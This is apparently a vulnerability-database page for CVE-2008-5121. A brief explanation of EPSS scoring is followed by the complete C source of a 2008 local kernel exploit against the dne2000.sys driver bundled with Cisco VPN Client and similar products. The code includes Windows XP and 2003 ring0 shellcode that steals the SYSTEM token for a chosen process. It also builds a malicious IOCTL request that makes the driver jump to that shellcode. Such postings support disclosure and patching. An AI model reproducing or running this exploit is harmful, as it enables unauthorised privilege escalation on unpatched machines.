CVE-2008-5121 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* dne2000-call.c * * Copyright (c) 2008 by <mu-b@digit-labs.org> * * Deterministic Network Enhancer (dne2000.sys) local kernel ring0 SYSTEM exploit * by mu-b - Sun 06 Jan 2008 * * - Tested on: dne2000.sys 2.21.7.233 <-> 3.21.7.17464 * bundled with: SafeNET HighAssurance Remote, SoftRemote * Cisco VPN Client * Winproxy * * Compile: MinGW + -lntdll * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2008!@$! */ #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <ddk/ntapi.h> #define DNE_IOCTL 0x00222008 #define DNE_FLAG 0x00001005 #define ITEM_FLAG_1 0x4A424F4E #define ITEM_FLAG_2 0x47554C50 #define FUNC_FLAG 0x00010003 static unsigned char win32_fixup[] = "\x56"; static unsigned char win2k3_ring0_shell[] = /* _ring0 */ "\xb8\x24\xf1\xdf\xff" "\x8b\x00" "\x8b\xb0\x18\x02\x00\x00" "\x89\xf0" /* _sys_eprocess_loop */ "\x8b\x98\x94\x00\x00\x00" "\x81\xfb\x04\x00\x00\x00" "\x74\x11" "\x8b\x80\x9c\x00\x00\x00" "\x2d\x98\x00\x00\x00" "\x39\xf0" "\x75\xe3" "\xeb\x21" /* _sys_eprocess_found */ "\x89\xc1" "\x89\xf0" /* _cmd_eprocess_loop */ "\x8b\x98\x94\x00\x00\x00" "\x81\xfb\x00\x00\x00\x00" "\x74\x10" "\x8b\x80\x9c\x00\x00\x00" "\x2d\x98\x00\x00\x00" "\x39\xf0" "\x75\xe3" /* _not_found */ "\xcc" /* _cmd_eprocess_found * _ring0_end */ /* copy tokens!$%! */ "\x8b\x89\xd8\x00\x00\x00" "\x89\x88\xd8\x00\x00\x00" "\x90"; static unsigned char winxp_ring0_shell[] = /* _ring0 */ "\xb8\x24\xf1\xdf\xff" "\x8b\x00" "\x8b\x70\x44" "\x89\xf0" /* _sys_eprocess_loop */ "\x8b\x98\x84\x00\x00\x00" "\x81\xfb\x04\x00\x00\x00" "\x74\x11" "\x8b\x80\x8c\x00\x00\x00" "\x2d\x88\x00\x00\x00" "\x39\xf0" "\x75\xe3" "\xeb\x21" /* _sys_eprocess_found */ "\x89\xc1" "\x89\xf0" /* _cmd_eprocess_loop */ "\x8b\x98\x84\x00\x00\x00" "\x81\xfb\x00\x00\x00\x00" "\x74\x10" "\x8b\x80\x8c\x00\x00\x00" "\x2d\x88\x00\x00\x00" "\x39\xf0" "\x75\xe3" /* _not_found */ "\xcc" /* _cmd_eprocess_found * _ring0_end */ /* copy tokens!$%! */ "\x8b\x89\xc8\x00\x00\x00" "\x89\x88\xc8\x00\x00\x00" "\x90"; static unsigned char win32_ret[] = "\x5e" "\xc2\x10\x00"; struct ioctl_func { char _pad[0x04]; int flag; char __pad[0x2C]; void *func_ptr; }; struct ioctl_item { int flag; char _pad[0x24]; struct ioctl_func *item_func; struct ioctl_item *item_ptr; }; struct ioctl_req { int req_num; struct ioctl_item *ptr[2]; }; static PCHAR fixup_ring0_shell (DWORD ppid, DWORD *zlen) { DWORD dwVersion, dwMajorVersion, dwMinorVersion; dwVersion = GetVersion (); dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion))); dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion))); if (dwMajorVersion != 5) { fprintf (stderr, "* GetVersion, unsupported version\n"); exit (EXIT_FAILURE); } switch (dwMinorVersion) { case 1: *zlen = sizeof winxp_ring0_shell - 1; *(PDWORD) &winxp_ring0_shell[55] = ppid; return (winxp_ring0_shell); case 2: *zlen = sizeof win2k3_ring0_shell - 1; *(PDWORD) &win2k3_ring0_shell[58] = ppid; return (win2k3_ring0_shell); default: fprintf (stderr, "* GetVersion, unsupported version\n"); exit (EXIT_FAILURE); } return (NULL); } int main (int argc, char **argv) { struct ioctl_req req; struct ioctl_item items[2]; struct ioctl_func funcs; LPVOID zpage, zbuf; DWORD rlen, zlen, ppid; HANDLE hFile; BOOL result; printf ("Deterministic Network Enhancer (dne2000.sys) local kernel ring0 SYSTEM exploit\n" "by: <mu-b@digit-labs.org>\n" "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"); if (argc <= 1) { fprintf (stderr, "Usage: %s <processid to elevate>\n", argv[0]); exit (EXIT_SUCCESS); } ppid = atoi (argv[1]); hFile = CreateFileA ("\\\\.\\DNE", FILE_EXECUTE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { fprintf (stderr, "* CreateFileA failed, %d\n", hFile); exit (EXIT_FAILURE); } zpage = VirtualAlloc (NULL, 0x10000, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (zpage == NULL) { fprintf (stderr, "* VirtualAlloc failed\n"); exit (EXIT_FAILURE); } printf ("* allocated page: 0x%08X [%d-bytes]\n", zpage, 0x10000); memset (zpage, 0xCC, 0x10000); zbuf = fixup_ring0_shell (ppid, &zlen); memcpy (zpage, win32_fixup, sizeof (win32_fixup) - 1); memcpy (zpage + sizeof (win32_fixup) - 1, zbuf, zlen); memcpy (zpage + sizeof (win32_fixup) + zlen - 1, win32_ret, sizeof (win32_ret) - 1); memset (&req, 0, sizeof req); req.req_num = DNE_FLAG; req.ptr[0] = NULL; req.ptr[1] = &items[0]; memset (items, 0, sizeof items); items[0].flag = ITEM_FLAG_1; items[0].item_ptr = &items[1]; items[1].flag = ITEM_FLAG_2; items[1].item_func = &funcs; memset (&funcs, 0, sizeof funcs); funcs.flag = FUNC_FLAG; funcs.func_ptr = zpage; printf ("* req.ptr: 0x%08X\n", &items[0]); printf ("* @0x%08X: flag: 0x%08X, item_ptr: 0x%08X\n", &items[0], items[0].flag, items[0].item_ptr); printf ("* @0x%08X: flag: 0x%08X, item_func: 0x%08X\n", items[0].item_ptr, items[1].flag, items[1].item_func); printf ("* @0x%08X: flag: 0x%08X, func_ptr: 0x%08X\n", items[1].item_func, funcs.flag, funcs.func_ptr); /* jump to our address :) */ printf ("* jumping.. "); result = DeviceIoControl (hFile, DNE_IOCTL, &req, sizeof req, &req, sizeof req, &rlen, 0); if (!result) { fprintf (stderr, "* DeviceIoControl failed\n"); exit (EXIT_FAILURE); } printf ("done\n\n" "* hmmm, you didn't STOP the box?!?!\n"); CloseHandle (hFile); return (EXIT_SUCCESS); } // milw0rm.com [2008-06-17]